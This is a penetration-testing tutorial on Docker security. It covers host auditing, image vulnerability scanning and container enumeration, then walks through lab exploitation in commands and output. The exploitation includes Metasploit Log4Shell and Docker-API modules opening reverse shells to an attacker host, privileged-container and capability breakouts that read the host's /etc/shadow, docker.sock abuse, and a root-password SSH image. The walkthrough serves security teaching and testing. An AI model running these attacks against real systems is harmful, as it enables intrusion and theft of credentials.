Docker is a set of platform as a service products that use OS-level virtualization to deliver software in packages called containers.
A Docker image packages up the application and the environment required by the application to run, and a container is a running instance of the image.
Docker images can be created using a Dockerfile. This is a script that defines what software is required to build the image.
This article covers some things to look for when performing penetration testing against a Docker system. The article is divided into four sections;
Docker Basics
I’m using an Ubuntu 22.04 host operating system for these examples. Docker can be installed on the system using;
1 | sudo apt install docker.io |
To get started, download a Kali Linux container using the docker pull command:
1 2 3 4 5 6 | sudo docker pull kalilinux /kali-rolling Using default tag: latest latest: Pulling from kalilinux /kali-rolling Digest: sha256:fc35f7b0cd9bc1139a6409a2afa7c7a5857cd7ce7f990645a83e8e5294a1a354 Status: Image is up to date for kalilinux /kali-rolling :latest docker.io /kalilinux/kali-rolling :latest |
The default Kali Docker image does not come with any pentest tools installed. Let’s login to the container and install them:
1 2 3 | sudo docker run -ti kalilinux /kali-rolling /bin/bash ┌──(root㉿ea60440172f2)-[/] └─ # apt update && apt -y install kali-linux-headless |
Docker container storage is ephemeral. To save the changes we made to the container, we need to commit them to a new image:
1 2 3 4 5 6 | sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ea60440172f2 kalilinux /kali-rolling "/bin/bash" 16 minutes ago Up 16 minutes sudo docker commit ea60440172f2 kali_tools_installed sha256:edbfc7afee6dbb30540ac2f0b18e2a95614ac1ea21a3c9587bf239883b191964 sudo docker run -it kali_tools_installed /bin/bash |
Another method of creating a container image is using a Dockerfile. This is a text file that contains commands to build the image.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | cat Dockerfile #Dockerfile contents FROM kalilinux /kali-rolling MAINTAINER bordergate "bordergate" RUN apt-get update \ && apt-get install -y openssh-server \ && mkdir /var/run/sshd \ && sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config \ && sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config \ && sed -ri 's/UsePAM yes/#UsePAM yes/g' /etc/ssh/sshd_config \ && echo 'root:toor' | chpasswd RUN service ssh start EXPOSE 22 CMD [ "/usr/sbin/sshd" , "-D" ] |
The following commands will build the image, then run a container we can SSH into:
1 2 3 | sudo docker build -t kali_ssh . sudo docker run -d -p 2022:22 kali_ssh ssh root@localhost -p 2022 |
Other useful commands include;
1 2 3 4 | docker images # list images docker ps # list running containers docker ps -a # list all containers (including stopped) docker exec -it e67afa452015 /bin/bash # Execute a Bash shell in container ID: e67afa452015 |
Security Auditing
CIS Benchmarks Host Auditing
The Center for Internet Security (CIS) provide a set of security focused configuration guidelines for common software. For Docker, there are a set of 117 criteria evaluated as part of the benchmark. These checks apply to the host system running Docker, rather than the containers.
Performing an audit based on CIS benchmarks manually is an arduous task. Luckily, there is a tool to automate these checks; docker-bench-security.
Running a scan using the tool shows a number of deviations from best practice:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | sudo sh docker-bench-security.sh [sudo] password for user: # -------------------------------------------------------------------------------------------- # Docker Bench for Security v1.3.6 # # Docker, Inc. (c) 2015-2022 # # Checks for dozens of common best-practices around deploying Docker containers in production. # Based on the CIS Docker Benchmark 1.4.0. # -------------------------------------------------------------------------------------------- Section A - Check results [INFO] 1 - Host Configuration [INFO] 1.1 - Linux Hosts Specific Configuration [WARN] 1.1.1 - Ensure a separate partition for containers has been created (Automated) [INFO] 1.1.2 - Ensure only trusted users are allowed to control Docker daemon (Automated) [WARN] 1.1.3 - Ensure auditing is configured for the Docker daemon (Automated) [WARN] 1.1.4 - Ensure auditing is configured for Docker files and directories -/run/containerd (Automated) [WARN] 1.1.5 - Ensure auditing is configured for Docker files and directories - /var/lib/docker (Automated) [WARN] 1.1.6 - Ensure auditing is configured for Docker files and directories - /etc/docker (Automated) [WARN] 1.1.7 - Ensure auditing is configured for Docker files and directories - docker.service (Automated) [INFO] 1.1.8 - Ensure auditing is configured for Docker files and directories - containerd.sock (Automated) [WARN] 1.1.9 - Ensure auditing is configured for Docker files and directories - docker.socket (Automated) [INFO] 1.1.10 - Ensure auditing is configured for Docker files and directories - /etc/default/docker (Automated) |
Scanning Containers for Known Software Vulnerabilities
We can save a container to a file, and copy it to another system for analysis:
1 2 | docker save -o kali_ssh.tar kali_ssh docker load < kali_ssh.tar |
The image can then be scanned for known vulnerabilities using https://github.com/anchore/grype
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | grype ghcr.io/christophetd/log4shell-vulnerable-app Vulnerability DB [no update available] Loaded image Parsed image Cataloged packages [104 packages] Scanned image [486 vulnerabilities] NAME INSTALLED FIXED-IN TYPE VULNERABILITY SEVERITY busybox 1.28.4-r2 apk CVE-2021-42379 High busybox 1.28.4-r2 apk CVE-2021-42386 High busybox 1.28.4-r2 apk CVE-2021-42374 Medium busybox 1.28.4-r2 apk CVE-2019-5747 High busybox 1.28.4-r2 apk CVE-2018-1000517 Critical freetype 2.9.1-r1 apk CVE-2022-27404 Critical freetype 2.9.1-r1 apk CVE-2022-27406 High freetype 2.9.1-r1 apk CVE-2022-27405 High freetype 2.9.1-r1 apk CVE-2020-15999 Medium jackson-databind 2.13.0 java-archive CVE-2020-36518 High jackson-databind 2.13.0 2.13.2.1 java-archive GHSA-57j2-w4cx-62h2 High krb5-libs 1.15.3-r0 1.15.4-r0 apk CVE-2018-20217 Medium libbz2 1.0.6-r6 1.0.6-r7 apk CVE-2019-12900 Critical libcom_err 1.44.2-r0 1.44.2-r1 apk CVE-2019-5094 Medium libcom_err 1.44.2-r0 1.44.2-r2 apk CVE-2019-5188 Medium libjpeg-turbo 1.5.3-r3 1.5.3-r6 apk CVE-2019-2201 High libjpeg-turbo 1.5.3-r3 apk CVE-2020-17541 High libjpeg-turbo 1.5.3-r3 apk CVE-2021-46822 Medium libjpeg-turbo 1.5.3-r3 1.5.3-r5 apk CVE-2018-14498 Medium libpng 1.6.34-r1 1.6.37-r0 apk CVE-2018-14550 High libpng 1.6.34-r1 1.6.37-r0 apk CVE-2018-14048 Medium libpng 1.6.34-r1 1.6.37-r0 apk CVE-2019-7317 Medium libtasn1 4.13-r0 4.14-r0 apk CVE-2018-1000654 Medium log4j-api 2.14.1 java-archive CVE-2021-45105 Medium log4j-api 2.14.1 java-archive CVE-2021-44832 Medium log4j-core 2.14.1 java-archive CVE-2021-45105 Medium log4j-core 2.14.1 2.17.1 java-archive GHSA-8489-44mv-ggj8 Medium log4j-core 2.14.1 2.16.0 java-archive GHSA-7rjr-3q55-vv33 Critical log4j-core 2.14.1 java-archive CVE-2021-44832 Medium log4j-core 2.14.1 2.15.0 java-archive GHSA-jfh8-c2jp-5v3q Critical log4j-core 2.14.1 java-archive CVE-2021-45046 Critical log4j-core 2.14.1 java-archive CVE-2021-44228 Critical log4j-core 2.14.1 2.17.0 java-archive GHSA-p6xc-xr62-6r2g High log4j-jul 2.14.1 java-archive CVE-2021-45046 Critical openjdk8 8.181.13-r0 8.252.09-r0 apk CVE-2020-2800 Medium |
Container Enumeration
CDK is a penetration testing toolkit for containers. The software can be downloaded from here; https://github.com/cdk-team/CDK. CDK performs a number of checks on a container to determine if there are any common misconfigurations an attacker could abuse to elevate their privileges.
Running the script shows the docker instance has dangerous capabilities allocated:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | ┌──(root㉿04e252595b47)-[~] └─# ./cdk_linux_amd64 eva --full [Information Gathering - System Info] 2022/07/17 12:39:15 current dir: /root 2022/07/17 12:39:15 current user: root uid: 0 gid: 0 home: /root 2022/07/17 12:39:15 hostname: 04e252595b47 2022/07/17 12:39:15 debian debian kali-rolling kernel: 5.15.0-41-generic [Information Gathering - Services] 2022/07/17 12:39:15 sensitive env found: SSH_CONNECTION=172.17.0.1 58152 172.17.0.3 22 2022/07/17 12:39:15 sensitive env found: SSH_CLIENT=172.17.0.1 58152 22 2022/07/17 12:39:15 sensitive env found: SSH_TTY=/dev/pts/0 2022/07/17 12:39:15 service found in process: 1 0 sshd 2022/07/17 12:39:15 service found in process: 7 1 sshd [Information Gathering - Commands and Capabilities] 2022/07/17 12:39:15 available commands: wget,find,ps,apt,dpkg,ssh,capsh,mount,base64,perl 2022/07/17 12:39:15 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb): CapInh: 0000003fffffffff CapPrm: 0000003fffffffff CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 Cap decode: 0x0000003fffffffff = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_DAC_READ_SEARCH,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_LINUX_IMMUTABLE,CAP_NET_BIND_SERVICE,CAP_NET_BROADCAST,CAP_NET_ADMIN,CAP_NET_RAW,CAP_IPC_LOCK,CAP_IPC_OWNER,CAP_SYS_MODULE,CAP_SYS_RAWIO,CAP_SYS_CHROOT,CAP_SYS_PTRACE,CAP_SYS_PACCT,CAP_SYS_ADMIN,CAP_SYS_BOOT,CAP_SYS_NICE,CAP_SYS_RESOURCE,CAP_SYS_TIME,CAP_SYS_TTY_CONFIG,CAP_MKNOD,CAP_LEASE,CAP_AUDIT_WRITE,CAP_AUDIT_CONTROL,CAP_SETFCAP,CAP_MAC_OVERRIDE,CAP_MAC_ADMIN,CAP_SYSLOG,CAP_WAKE_ALARM,CAP_BLOCK_SUSPEND,CAP_AUDIT_READ Add capability list: CAP_DAC_READ_SEARCH,CAP_LINUX_IMMUTABLE,CAP_NET_BROADCAST,CAP_NET_ADMIN,CAP_IPC_LOCK,CAP_IPC_OWNER,CAP_SYS_MODULE,CAP_SYS_RAWIO,CAP_SYS_PTRACE,CAP_SYS_PACCT,CAP_SYS_ADMIN,CAP_SYS_BOOT,CAP_SYS_NICE,CAP_SYS_RESOURCE,CAP_SYS_TIME,CAP_SYS_TTY_CONFIG,CAP_LEASE,CAP_AUDIT_CONTROL,CAP_MAC_OVERRIDE,CAP_MAC_ADMIN,CAP_SYSLOG,CAP_WAKE_ALARM,CAP_BLOCK_SUSPEND,CAP_AUDIT_READ [*] Maybe you can exploit the Capabilities below: [!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation. [!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/. Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'. Critical - Possible Privileged Container Found. [Information Gathering - Mounts] [Information Gathering - Net Namespace] container net namespace isolated. [Information Gathering - Sysctl Variables] 2022/07/17 12:39:15 net.ipv4.conf.all.route_localnet = 1 2022/07/17 12:39:15 You may be able to access the localhost service of the current container node or other nodes. [Discovery - K8s API Server] 2022/07/17 12:39:15 checking if api-server allows system:anonymous request. err found while searching local K8s apiserver addr.: err: cannot find kubernetes api host in ENV api-server forbids anonymous request. response: [Discovery - K8s Service Account] load K8s service account token error.: open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory [Discovery - Cloud Provider Metadata API] 2022/07/17 12:39:16 failed to dial Alibaba Cloud API. 2022/07/17 12:39:17 failed to dial Azure API. 2022/07/17 12:39:17 failed to dial Google Cloud API. [Information Gathering - Sensitive Files] .dockerenv - /.dockerenv /.bashrc - /etc/skel/.bashrc /.bashrc - /etc/skel/.bashrc.original /.bashrc - /root/.bashrc /.bashrc - /root/.bashrc.original /.bashrc - /usr/share/kali-defaults/etc/skel/.bashrc [Information Gathering - ASLR] 2022/07/17 12:39:20 /proc/sys/kernel/randomize_va_space file content: 2 2022/07/17 12:39:20 ASLR is enabled. [Information Gathering - Cgroups] 2022/07/17 12:39:20 /proc/1/cgroup file content: 0::/ 2022/07/17 12:39:20 /proc/self/cgroup file added content (compare pid 1) : |
Exploitation
Initial Access
Docker containers typically run a single service that is exposed to the outside world. Most of the time this is a web server. We can run a docker image containing a vulnerable version of Log4J (CVE-2021-44228) to demonstrate this:
1 | sudo docker run --name vulnerable-app -- rm -p 8080:8080 ghcr.io /christophetd/log4shell-vulnerable-app |
Next, we use Metasploit to gain a shell on the system:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > use exploit/multi/http/log4shell_header_injection [*] Using configured payload java/shell_reverse_tcp msf6 exploit(multi/http/log4shell_header_injection) > set RHOSTS 192.168.1.133 RHOSTS => 192.168.1.133 msf6 exploit(multi/http/log4shell_header_injection) > set LHOST eth0 LHOST => 192.168.1.146 msf6 exploit(multi/http/log4shell_header_injection) > set RPORT 8080 RPORT => 8080 msf6 exploit(multi/http/log4shell_header_injection) > set SRVHOST eth0 SRVHOST => 192.168.1.146 msf6 exploit(multi/http/log4shell_header_injection) > run [*] Started reverse TCP handler on 192.168.1.146:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Using auxiliary/scanner/http/log4shell_scanner as check [+] 192.168.1.133:8080 - Log4Shell found via / (header: X-Api-Version) (os: Linux 5.15.0-41-generic unknown, architecture: amd64-64) (java: Oracle Corporation_1.8.0_181) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [*] Server stopped. [+] The target is vulnerable. [+] Automatically identified vulnerable header: X-Api-Version [*] Serving Java code on: http://192.168.1.146:8080/MTh9cWCxceLKp.jar [*] Command shell session 2 opened (192.168.1.146:4444 -> 192.168.1.133:44344 ) at 2022-07-22 04:09:03 -0400 [*] Server stopped. |
There are a few ways we can determine we’re inside a docker container. The root directory will contain a dockerenv file, and the IP address for the system is within the default Docker range of 172.17.0.0/16. In addition, we’re running as root but the shadow file does not contain any passwords;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | ls -la / total 64 drwxr-xr-x 1 root root 4096 Jul 22 08:04 . drwxr-xr-x 1 root root 4096 Jul 22 08:04 .. -rwxr-xr-x 1 root root 0 Jul 22 08:04 .dockerenv drwxr-xr-x 1 root root 4096 Dec 10 2021 app drwxr-xr-x 2 root root 4096 Dec 20 2018 bin drwxr-xr-x 5 root root 340 Jul 22 08:04 dev drwxr-xr-x 1 root root 4096 Jul 22 08:04 etc drwxr-xr-x 2 root root 4096 Dec 20 2018 home drwxr-xr-x 1 root root 4096 Dec 21 2018 lib drwxr-xr-x 5 root root 4096 Dec 20 2018 media drwxr-xr-x 2 root root 4096 Dec 20 2018 mnt dr-xr-xr-x 511 root root 0 Jul 22 08:04 proc drwx------ 2 root root 4096 Dec 20 2018 root drwxr-xr-x 2 root root 4096 Dec 20 2018 run drwxr-xr-x 2 root root 4096 Dec 20 2018 sbin drwxr-xr-x 2 root root 4096 Dec 20 2018 srv dr-xr-xr-x 13 root root 0 Jul 22 08:04 sys drwxrwxrwt 1 root root 4096 Jul 22 08:08 tmp drwxr-xr-x 1 root root 4096 Dec 21 2018 usr drwxr-xr-x 1 root root 4096 Dec 20 2018 var cat /proc/1/cgroup 0::/ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1 /8 scope host lo valid_lft forever preferred_lft forever 19: eth0@if20: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP link /ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff inet 172.17.0.3 /16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever id uid=0(root) gid=0(root) groups =0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) cat /etc/shadow root:::0::::: bin:!::0::::: daemon:!::0::::: adm:!::0::::: lp:!::0::::: sync :!::0::::: shutdown :!::0::::: halt:!::0::::: mail:!::0::::: news:!::0::::: uucp:!::0::::: operator:!::0::::: man :!::0::::: postmaster:!::0::::: cron :!::0::::: ftp :!::0::::: sshd:!::0::::: at:!::0::::: squid:!::0::::: xfs:!::0::::: games:!::0::::: postgres:!::0::::: cyrus:!::0::::: vpopmail:!::0::::: ntp:!::0::::: smmsp:!::0::::: guest:!::0::::: nobody:!::0::::: |
Privileged Container Breakout
Containers can be started with the “–privileged” flag. Doing so allows the container to access host resources, and as such is not advised. If we start our container without this flag, we can see the number of devices available is limited when we log into the container:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | ┌──(root㉿795d76510026)-[~] └─# ls -la /dev/ total 4 drwxr-xr-x 5 root root 340 Jul 17 10:26 . drwxr-xr-x 1 root root 4096 Jul 17 10:26 .. lrwxrwxrwx 1 root root 11 Jul 17 10:26 core -> /proc/kcore lrwxrwxrwx 1 root root 13 Jul 17 10:26 fd -> /proc/self/fd crw-rw-rw- 1 root root 1, 7 Jul 17 10:26 full drwxrwxrwt 2 root root 40 Jul 17 10:26 mqueue crw-rw-rw- 1 root root 1, 3 Jul 17 10:26 null lrwxrwxrwx 1 root root 8 Jul 17 10:26 ptmx -> pts/ptmx drwxr-xr-x 2 root root 0 Jul 17 10:26 pts crw-rw-rw- 1 root root 1, 8 Jul 17 10:26 random drwxrwxrwt 2 root root 40 Jul 17 10:26 shm lrwxrwxrwx 1 root root 15 Jul 17 10:26 stderr -> /proc/self/fd/2 lrwxrwxrwx 1 root root 15 Jul 17 10:26 stdin -> /proc/self/fd/0 lrwxrwxrwx 1 root root 15 Jul 17 10:26 stdout -> /proc/self/fd/1 crw-rw-rw- 1 root root 5, 0 Jul 17 10:26 tty crw-rw-rw- 1 root root 1, 9 Jul 17 10:26 urandom crw-rw-rw- 1 root root 1, 5 Jul 17 10:26 zero |
Next, we start the same container with privileged mode enabled:
1 | sudo docker run --privileged -d -p 2022:22 kali_ssh |
Logging in again we can see that the hosts disk drives are available:
1 2 3 4 5 6 7 8 9 | ┌──(root㉿8987b5cec434)-[~] └─# ls -la /dev/sd* brw-rw---- 1 root disk 8, 0 Jul 17 10:27 /dev/sda brw-rw---- 1 root disk 8, 1 Jul 17 10:27 /dev/sda1 brw-rw---- 1 root disk 8, 2 Jul 17 10:27 /dev/sda2 brw-rw---- 1 root disk 8, 5 Jul 17 10:27 /dev/sda5 brw-rw---- 1 root disk 8, 6 Jul 17 10:27 /dev/sda6 brw-rw---- 1 root disk 8, 16 Jul 17 10:27 /dev/sdb brw-rw---- 1 root disk 8, 17 Jul 17 10:27 /dev/sdb1 |
We can mount the hosts disks and read files:
1 2 3 4 5 6 7 8 9 | ┌──(root㉿8987b5cec434)-[/tmp] └─# mount -r /dev/sdb1 /tmp/mountpoint/ ┌──(root㉿8987b5cec434)-[/tmp] └─# cd mountpoint/ ┌──(root㉿8987b5cec434)-[/tmp/mountpoint] └─# ls SecretFiles |
Overly Permissive Host Filesystem Access
When starting a Docker image, you can specify portions of the hosts filesystem to be accessible within the container. For instance, the below command maps the root filesystem of the host to /hostfs in the container:
1 | sudo docker run -v /:/hostfs -d -p 2022:22 kali_ssh |
An attacker who compromised the container could then read sensitive files on the host:
1 2 3 4 5 6 7 8 9 | ┌──(root㉿207ea9779213)-[/hostfs] └─# cat /hostfs/etc/shadow root:!:18829:0:99999:7::: daemon:*:18667:0:99999:7::: bin:*:18667:0:99999:7::: sys:*:18667:0:99999:7::: sync:*:18667:0:99999:7::: games:*:18667:0:99999:7::: man:*:18667:0:99999:7::: |
UNIX Socket Exposure
Some applications which are used to manage container clusters require access to /var/run/docker.sock from inside the container they reside in. E.g:
1 | sudo docker run - v /var/run/docker .sock: /var/run/docker .sock -d -p 2022:22 kali_ssh |
This presents a security risk. An attacker can use the UNIX socket (docker.sock) file to send commands to the Docker server process.
We can query the pipe locally using curl:
1 2 3 4 5 6 7 8 9 10 11 | curl -i -s --unix-socket /var/run/docker.sock -X GET http://localhost/containers/json HTTP/1.1 200 OK Api-Version: 1.41 Content-Type: application/json Docker-Experimental: false Ostype: linux Server: Docker/20.10.12 (linux) Date: Thu, 21 Jul 2022 17:06:46 GMT Transfer-Encoding: chunked [{"Id":"5e98d0619eb58b1dac2941b7f60fe30e1cd1984a5b2aefdff71d77d18060c077","Names":["/vigilant_jang"],"Image":"kali_ssh","ImageID":"sha256:6585766682fec0bdc2d1fa08e6f9d3076113f98d7650d6b4c64b72175bec4632","Command":"/usr/sbin/sshd -D","Created":1658422449,"Ports":[{"IP":"0.0.0.0","PrivatePort":22,"PublicPort":2022,"Type":"tcp"},{"IP":"::","PrivatePort":22,"PublicPort":2022,"Type":"tcp"}],"Labels":{"org.opencontainers.image.authors":"Kali Developers <devel@kali.org>","org.opencontainers.image.created":"2022-07-18T07:52:16Z","org.opencontainers.image.description":"Official Kali Linux container image for kali-rolling","org.opencontainers.image.revision":"2752d91","org.opencontainers.image.source":"https://gitlab.com/kalilinux/build-scripts/kali-docker","org.opencontainers.image.title":"Kali Linux (kali-rolling branch)","org.opencontainers.image.url":"https://www.kali.org/","org.opencontainers.image.vendor":"Offensive Security","org.opencontainers.image.version":"2022.07.18"},"State":"running","Status":"Up 12 minutes","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"b7623bcd8bb5d1875236d9493b3bc85c0179fa698b6dd2fe2c653be4d75efcd3","EndpointID":"d4525e9cd3136bbf1f17656838d33470793221957c36acb830e2b3f1e3571431","Gateway":"172.17.0.1","IPAddress":"172.17.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:02","DriverOpts":null}}},"Mounts":[{"Type":"bind","Source":"/var/run/docker.sock","Destination":"/var/run/docker.sock","Mode":"","RW":true,"Propagation":"rprivate"}]},{"Id":"2eb8997b4c4283a870da082e564cd17d1abe2cca00a879f2670c5d9e212ada9d","Names":["/nice_maxwell"],"Image":"registry:2","ImageID":"sha256:d1fe2eaf610136771d6883bae3001aea0b5c90ab56fb190e052227cbfe73364d","Command":"/entrypoint.sh /etc/docker/registry/config.yml","Created":1658415175,"Ports":[{"IP":"0.0.0.0","PrivatePort":5000,"PublicPort":5000,"Type":"tcp"},{"IP":"::","PrivatePort":5000,"PublicPort":5000,"Type":"tcp"}],"Labels":{},"State":"running","Status":"Up 2 hours","HostConfig":{"NetworkMode":"default"},"NetworkSettings":{"Networks":{"bridge":{"IPAMConfig":null,"Links":null,"Aliases":null,"NetworkID":"b7623bcd8bb5d1875236d9493b3bc85c0179fa698b6dd2fe2c653be4d75efcd3","EndpointID":"dd413c1e7322204880835f537100a08a08c7e24e76c27e60f9366be808ecb554","Gateway":"172.17.0.1","IPAddress":"172.17.0.3","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:11:00:03","DriverOpts":null}}},"Mounts":[{"Type":"volume","Name":"39ded950509ee4edcf639c3ef8ea4f55a941b8e8d9e5b5e552c6230ec97c2179","Source":"","Destination":"/var/lib/registry","Driver":"local","Mode":"","RW":true,"Propagation":""}]}] |
socat can be used to expose the pipe to make the pipe network accessible:
1 | socat TCP-LISTEN:2376,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock |
In addition, an attacker could copy a statically linked version of the docker command to the compromised container and use that to create new containers:
1 2 3 4 5 | ┌──(root㉿5e98d0619eb5)-[~] └─# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 5e98d0619eb5 kali_ssh "/usr/sbin/sshd -D" 20 minutes ago Up 20 minutes 0.0.0.0:2022->22/tcp, :::2022->22/tcp vigilant_jang 2eb8997b4c42 registry:2 "/entrypoint.sh /etc…" 2 hours ago Up 2 hours 0.0.0.0:5000->5000/tcp, :::5000->5000/tcp nice_maxwell |
Linux Capability Exploitation
Linux capabilities allow standard user processes to perform certain functions which are normally reserved for the root user. The capsh command can be used to review currently allocated capabilities:
1 2 3 | ┌──(root㉿04e252595b47)-[~] └─# capsh --print | grep "Current IAB" Current IAB: cap_chown,cap_dac_override,cap_dac_read_search |
In this instance, our docker container has been allocated cap_dac_read_search. Looking at the man page for this capability, we can see it allows the container to bypass host filesystem permissions, and read any file:
CAP_DAC_READ_SEARCH
*Bypass file read permission checks and directory read and execute permission checks
We can exploit this issue using CDK to gain access to the hosts /etc/shadow file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | ┌──(root㉿04e252595b47)-[~] └─# ./cdk_linux_amd64 run cap-dac-read-search Running with target: /etc/shadow, ref: /etc/hostname root:!:18829:0:99999:7::: daemon:*:18667:0:99999:7::: bin:*:18667:0:99999:7::: sys:*:18667:0:99999:7::: sync:*:18667:0:99999:7::: games:*:18667:0:99999:7::: man:*:18667:0:99999:7::: lp:*:18667:0:99999:7::: mail:*:18667:0:99999:7::: news:*:18667:0:99999:7::: uucp:*:18667:0:99999:7::: proxy:*:18667:0:99999:7::: www-data:*:18667:0:99999:7::: backup:*:18667:0:99999:7::: |
Docker API Exposure
By default, containers can communicate with other containers on the same network, and the host machine. With a compromised docker container, it may be possible to upload additional tools to scan and attack other hosts on the network.
To enable the docker API, edit /usr/lib/systemd/system/docker.service and add the “H” flag to make the API accessible:
1 | ExecStart=/usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock -H=tcp://0.0.0.0:2375 |
By making a GET request to /version discover information related to the container host:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | curl http://127.0.0.1:2375/version | json_pp { "ApiVersion" : "1.41", "Arch" : "amd64", "BuildTime" : "2022-03-07T15:57:50.000000000+00:00", "Components" : [ { "Details" : { "ApiVersion" : "1.41", "Arch" : "amd64", "BuildTime" : "2022-03-07T15:57:50.000000000+00:00", "Experimental" : "false", "GitCommit" : "20.10.12-0ubuntu4", "GoVersion" : "go1.17.3", "KernelVersion" : "5.15.0-41-generic", "MinAPIVersion" : "1.12", "Os" : "linux" }, "Name" : "Engine", "Version" : "20.10.12" }, { "Details" : { "GitCommit" : "" }, "Name" : "containerd", "Version" : "1.5.9-0ubuntu3" }, { "Details" : { "GitCommit" : "" }, "Name" : "runc", "Version" : "1.1.0-0ubuntu1" }, { "Details" : { "GitCommit" : "" }, "Name" : "docker-init", "Version" : "0.19.0" } ], "GitCommit" : "20.10.12-0ubuntu4", "GoVersion" : "go1.17.3", "KernelVersion" : "5.15.0-41-generic", "MinAPIVersion" : "1.12", "Os" : "linux", "Platform" : { "Name" : "" }, "Version" : "20.10.12" } |
We can upload our Kali SSH Docker onto the system, and start it in privileged mode;
1 2 3 4 | sudo docker -H 192.168.1.133:2375 load < kali_ssh.tar Loaded image: kali_ssh:latest sudo docker -H 192.168.1.133:2375 run --privileged -d -p 2022:22 kali_ssh e67afa452015d8bb482d3d4c4282e2708831c28193a6cd5eceef74acf0b38c32 |
Once the image is uploaded, we should be able to SSH to our newly created Docker system and exploit it’s privileges to read the host systems shadow file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | ssh root@192.168.1.133 -p 2022 root@192.168.1.133's password: ┏━(Message from Kali developers) ┃ ┃ This is a minimal installation of Kali Linux, you likely ┃ want to install supplementary tools. Learn how: ┃ ⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/ ┃ ┗━(Run: “touch ~/.hushlogin” to hide this message) ┌──(root㉿e67afa452015)-[~] └─# ./cdk_linux_amd64 run cap-dac-read-search Running with target: /etc/shadow, ref: /etc/hostname root:!:18829:0:99999:7::: daemon:*:18667:0:99999:7::: bin:*:18667:0:99999:7::: sys:*:18667:0:99999:7::: |
This can also be automated using Metasploit docker_daemon_tcp module:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | msf6 > use exploit/linux/http/docker_daemon_tcp [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp msf6 exploit(linux/http/docker_daemon_tcp) > set RHOSTS 192.168.1.133 RHOSTS => 192.168.1.133 msf6 exploit(linux/http/docker_daemon_tcp) > run [*] Started reverse TCP handler on 192.168.1.146:4444 [*] Trying to pulling image from docker registry, this may take a while [*] The docker container is created, waiting for deploy [*] Waiting for the cron job to run, can take up to 60 seconds [*] Sending stage (3020772 bytes) to 192.168.1.133 [+] Deleted /etc/cron.d/ZZwBWZXU [+] Deleted /tmp/GVqDuBbe [*] Meterpreter session 1 opened (192.168.1.146:4444 -> 192.168.1.133:46398 ) at 2022-07-21 11:38:02 -0400 |
Exploiting Known Software Vulnerabilities
Docker containers run in the context of host systems Kernel. This means it may be possible to exploit Kernel vulnerabilities to take control of the host. However, most exploits are written under the assumption that the user only needs to elevate their privileges to root, rather than escape a container.
There have been instances of Docker vulnerabilities, such as CVE-2019-5736 which allow an attacker to escape a container. CVE-2022-0492 is probably the most recent example of a container escape vulnerability, although this is not applicable to AppArmor or SELinux enabled containers.
Docker Registry
A Docker Registry is a web service used to distribute Docker images. Curiously, a Registry is often run within a Docker container.
You can start a Registry with the following command:
